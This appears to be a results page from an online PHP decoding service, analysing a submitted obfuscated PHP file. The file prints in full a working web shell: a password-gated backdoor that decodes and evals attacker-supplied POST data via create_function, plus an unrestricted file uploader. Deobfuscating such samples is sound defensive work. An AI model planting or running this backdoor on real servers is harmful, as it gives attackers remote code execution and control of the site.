Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if ($_GET["login"] == "SvMNOg") { $or = "JG11amogxPSAkX1BPU1RbJ3onXTsgaWYg"; ..

Decoded Output download

$mujj = $_POST['z']; if ($mujj!="") { $xsser=base64_decode($_POST['z0']); eval("\$safedg = $xsser;"); }

Did this file decode correctly?

Original Code

<?php if ($_GET["login"] == "SvMNOg") {
    $or = "JG11amogxPSAkX1BPU1RbJ3onXTsgaWYg";
    $zs = "KCRtdWpqIT0iIikgeyAkeHxNzZXI9Ym";
    $lq = "FzZTY0X2RlY29kZSgkX1BPU1RbJ3owJ10pO";
    $bu = "yBAxZXZhbCgiXCRzYWZlZGcgPSAkeHNzZXI7Iik7IH0=";
    $avj = str_replace("j", "", "sjtrj_jrjejpljajcje");  // str_replace
    $qu = $avj("i", "", "ibiaisie6i4i_dieicoide");       // base64_decode
    $fh = $avj("k", "", "crkekatkek_kfkukncktkikon");    // create_function
    $hwy = $fh("", $qu($avj("x", "", $or . $zs . $lq . $bu)));

    // create_function("", base64_decode(str_replace("x", "", $or . $zs . $lq . $bu)))

    $hwy();
    $target_path = basename($_FILES["uploadedfile"]["name"]);
    if (move_uploaded_file($_FILES["uploadedfile"]["tmp_name"], $target_path)) {
        echo basename($_FILES["uploadedfile"]["name"]) . " has been uploaded";
    } else {
        echo "Uploader By Psyco!";
    }
} ?><form enctype="multipart/form-data" method="POST"><input name="uploadedfile" type="file"/><input type="submit" value="Upload File"/></form>

Function Calls

null 1
str_replace 4
base64_decode 1
create_function 1

Variables

$bu yBAxZXZhbCgiXCRzYWZlZGcgPSAkeHNzZXI7Iik7IH0=
$fh create_function
$lq FzZTY0X2RlY29kZSgkX1BPU1RbJ3owJ10pO
$or JG11amogxPSAkX1BPU1RbJ3onXTsgaWYg
$qu base64_decode
$zs KCRtdWpqIT0iIikgeyAkeHxNzZXI9Ym
$avj str_replace
$hwy None

Stats

MD5 5a4ce84c6dc0d493b9efaabfd0e50db0
Eval Count 1
Decode Time 63 ms